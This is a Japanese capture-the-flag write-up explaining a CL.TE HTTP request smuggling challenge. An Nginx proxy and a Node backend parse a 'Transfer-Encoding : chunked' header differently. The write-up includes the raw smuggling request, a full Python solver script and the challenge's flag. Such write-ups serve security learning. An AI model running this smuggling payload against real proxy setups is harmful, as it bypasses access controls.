- Source: sknbCTF 2025
- Author: claustra01
NodeサーバーとNginxプロキシからなる問題。
const http = require('http');
const fs = require('fs');
const path = require('path');
const FLAG = process.env.FLAG || 'sknb{dummy}';
http.createServer((req, res) => {
console.log(`${req.method} ${req.url}`);
switch (req.url) {
case '/flag':
if (!req.headers['x-from-proxy']) {
res.end(FLAG);
} else {
res.writeHead(403, { 'Content-Type': 'text/plain' });
res.end('Forbidden');
}
return;
case '/':
res.end('Hello');
return;
default:
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not Found');
return;
}
}).listen(8080, () => console.log('Backend on :8080'));
error_log /dev/stdout info;
events {
worker_connections 1024;
}
http {
server {
listen 80;
keepalive_timeout 5s;
ignore_invalid_headers off;
location / {
proxy_pass http://app:8080;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header X-From-Proxy true;
}
}
}
X-From-Proxyヘッダなしで/flagへアクセスできればflagが得られるが、Nginxを経由する際に必ず付与されてしまう。
これを回避するには、HTTP request smugglingでNginxには認識されないがNodeサーバーには認識されるリクエストを送り込めば良い。
nginx.confをよく見ると、ignore_invalid_headersというオプションがついている。これは不正なhttpヘッダを除去せずそのまま後ろへ渡すという設定になる。また、NodeのDockerfileを見ると、--insecure-http-serverというオプションで起動していることが分かる。これは厳密には正しくないhttpヘッダも良い感じに解釈して取り込んでくれるという設定になる。
FROM node:24-slim
WORKDIR /app
COPY server.js .
EXPOSE 8080
CMD ["node", "--insecure-http-parser", "server.js"]
想定解はこれらの挙動差によるCL.TE vulnerabilityを用いたHTTP request smugglingになる。具体的には、ヘッダにスペースやタブ文字を挿入することで解釈差を引き起こすことができる。
Transfer-Encoding: chunked # valid
Transfer-Encoding : chunked # invalid
以下のようなリクエストを送信すると、NginxはContent-Lengthヘッダを見て後半のGET /flagあたりもbodyだと解釈するが、NodeサーバーはTransfer-Encodingヘッダを見るため0でリクエストが終わりだと解釈し、GET /flag以降は別のリクエストとして扱う。
POST / HTTP/1.1
Host: vuln
Content-Length: 39
Transfer-Encoding : chunked
0
GET /flag HTTP/1.1
Host: vuln
これでsmuggledなリクエストを送信することができるようになったが、このままではレスポンスにflagは含まれていない。Nginxはリクエストを1つだと解釈しているので、Nodeサーバーからのレスポンスも1つ目だけ返し、flagが含まれた2つ目のリクエストはNginxのresponse queueに詰まったままとなる。
これを取得するためには直後に別のリクエストを送信するだけで良く、Nginxは次のリクエストに対してqueueの先頭で詰まっている(flagを含んだ)レスポンスを返す。
よって、最終的なsolverはこうなる。
#!/usr/bin/env python3
import sys, socket, textwrap, time
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
payload1 = textwrap.dedent(f"""\
POST / HTTP/1.1
Host: vuln
Content-Length: 39
Transfer-Encoding : chunked
0
GET /flag HTTP/1.1
Host: vuln
""").replace("\n", "\r\n").encode()
payload2 = textwrap.dedent(f"""\
GET / HTTP/1.1
Host: vuln
Connection: close
""").replace("\n", "\r\n").encode()
while True:
with socket.create_connection((host, port)) as s:
s.sendall(payload1) # Request Smuggling
s.sendall(payload2) # Get Poisoned Response
resp = b""
while True:
data = s.recv(1024)
if not data:
break
resp += data
decoded = resp.decode("latin1", errors="replace")
if "sknb{" in decoded:
flag = decoded.split("sknb{")[1].split("}")[0]
print(f"sknb{{{flag}}}")
break
time.sleep(0.1)
sknb{wh3r3_4m_1_wh1sp3r_wh1sp3r_wh1sp3r}